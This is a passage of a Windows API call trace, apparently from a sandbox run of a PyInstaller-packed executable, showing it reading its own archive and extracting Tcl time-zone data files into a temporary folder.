[0040.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.228] CloseHandle (hObject=0x10c) returned 1 [0040.228] GetLastError () returned 0x0 [0040.228] SetLastError (dwErrCode=0x0) [0040.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu") returned 71 [0040.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kathmandu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.228] GetLastError () returned 0x2 [0040.228] SetLastError (dwErrCode=0x2) [0040.228] GetLastError () returned 0x2 [0040.228] SetLastError (dwErrCode=0x2) [0040.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu", lpFilePart=0x0) returned 0x46 [0040.228] GetLastError () returned 0x2 [0040.228] SetLastError (dwErrCode=0x2) [0040.228] GetLastError () returned 0x2 [0040.228] SetLastError (dwErrCode=0x2) [0040.228] GetLastError () returned 0x2 [0040.228] SetLastError (dwErrCode=0x2) [0040.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu") returned 71 [0040.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kathmandu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kathmandu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.229] GetFileType (hFile=0x10c) returned 0x1 [0040.229] htonl (hostlong=0xae000000) returned 0xae [0040.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.229] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0040.230] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.230] CloseHandle (hObject=0x10c) returned 1 [0040.230] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.230] htonl (hostlong=0x30000000) returned 0x30 [0040.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.230] GetFileType (hFile=0x10c) returned 0x1 [0040.230] htonl (hostlong=0x72f35a00) returned 0x5af372 [0040.230] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa372, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.230] htonl (hostlong=0x86000000) returned 0x86 [0040.230] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0040.230] htonl (hostlong=0x86000000) returned 0x86 [0040.230] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.231] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.231] htonl (hostlong=0xb3000000) returned 0xb3 [0040.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0040.231] htonl (hostlong=0x86000000) returned 0x86 [0040.231] htonl (hostlong=0xb3000000) returned 0xb3 [0040.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.231] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.231] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.231] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.231] CloseHandle (hObject=0x10c) returned 1 [0040.231] GetLastError () returned 0x0 [0040.231] SetLastError (dwErrCode=0x0) [0040.231] GetLastError () returned 0x0 [0040.231] SetLastError (dwErrCode=0x0) [0040.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.231] GetFileType (hFile=0x10c) returned 0x1 [0040.231] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.232] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.232] CloseHandle (hObject=0x10c) returned 1 [0040.232] GetLastError () returned 0x0 [0040.232] SetLastError (dwErrCode=0x0) [0040.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.232] GetFileType (hFile=0x10c) returned 0x1 [0040.232] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.232] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.232] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.232] CloseHandle (hObject=0x10c) returned 1 [0040.232] GetLastError () returned 0x0 [0040.232] SetLastError (dwErrCode=0x0) [0040.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.233] GetFileType (hFile=0x10c) returned 0x1 [0040.233] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.233] CloseHandle (hObject=0x10c) returned 1 [0040.233] GetLastError () returned 0x0 [0040.233] SetLastError (dwErrCode=0x0) [0040.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu") returned 70 [0040.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\katmandu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.233] GetLastError () returned 0x2 [0040.233] SetLastError (dwErrCode=0x2) [0040.233] GetLastError () returned 0x2 [0040.233] SetLastError (dwErrCode=0x2) [0040.233] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu", lpFilePart=0x0) returned 0x45 [0040.233] GetLastError () returned 0x2 [0040.233] SetLastError (dwErrCode=0x2) [0040.233] GetLastError () returned 0x2 [0040.233] SetLastError (dwErrCode=0x2) [0040.233] GetLastError () returned 0x2 [0040.233] SetLastError (dwErrCode=0x2) [0040.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu") returned 70 [0040.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Katmandu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\katmandu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.234] GetFileType (hFile=0x10c) returned 0x1 [0040.234] htonl (hostlong=0xb3000000) returned 0xb3 [0040.234] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.234] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0040.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.235] CloseHandle (hObject=0x10c) returned 1 [0040.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.235] htonl (hostlong=0x30000000) returned 0x30 [0040.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.235] GetFileType (hFile=0x10c) returned 0x1 [0040.235] htonl (hostlong=0xf8f35a00) returned 0x5af3f8 [0040.236] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa3f8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.236] htonl (hostlong=0x37020000) returned 0x237 [0040.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x237) returned 0x550600 [0040.236] htonl (hostlong=0x37020000) returned 0x237 [0040.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.236] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.236] htonl (hostlong=0x4e080000) returned 0x84e [0040.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84e) returned 0x55e278 [0040.236] htonl (hostlong=0x37020000) returned 0x237 [0040.236] htonl (hostlong=0x4e080000) returned 0x84e [0040.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.236] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.236] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.236] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.236] CloseHandle (hObject=0x10c) returned 1 [0040.236] GetLastError () returned 0x0 [0040.236] SetLastError (dwErrCode=0x0) [0040.236] GetLastError () returned 0x0 [0040.236] SetLastError (dwErrCode=0x0) [0040.236] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.236] GetFileType (hFile=0x10c) returned 0x1 [0040.236] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.236] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.236] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.236] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.237] CloseHandle (hObject=0x10c) returned 1 [0040.237] GetLastError () returned 0x0 [0040.237] SetLastError (dwErrCode=0x0) [0040.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.237] GetFileType (hFile=0x10c) returned 0x1 [0040.237] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.237] CloseHandle (hObject=0x10c) returned 1 [0040.237] GetLastError () returned 0x0 [0040.237] SetLastError (dwErrCode=0x0) [0040.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.237] GetFileType (hFile=0x10c) returned 0x1 [0040.237] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.238] CloseHandle (hObject=0x10c) returned 1 [0040.238] GetLastError () returned 0x0 [0040.238] SetLastError (dwErrCode=0x0) [0040.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga") returned 70 [0040.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\khandyga"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.238] GetLastError () returned 0x2 [0040.238] SetLastError (dwErrCode=0x2) [0040.238] GetLastError () returned 0x2 [0040.238] SetLastError (dwErrCode=0x2) [0040.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: 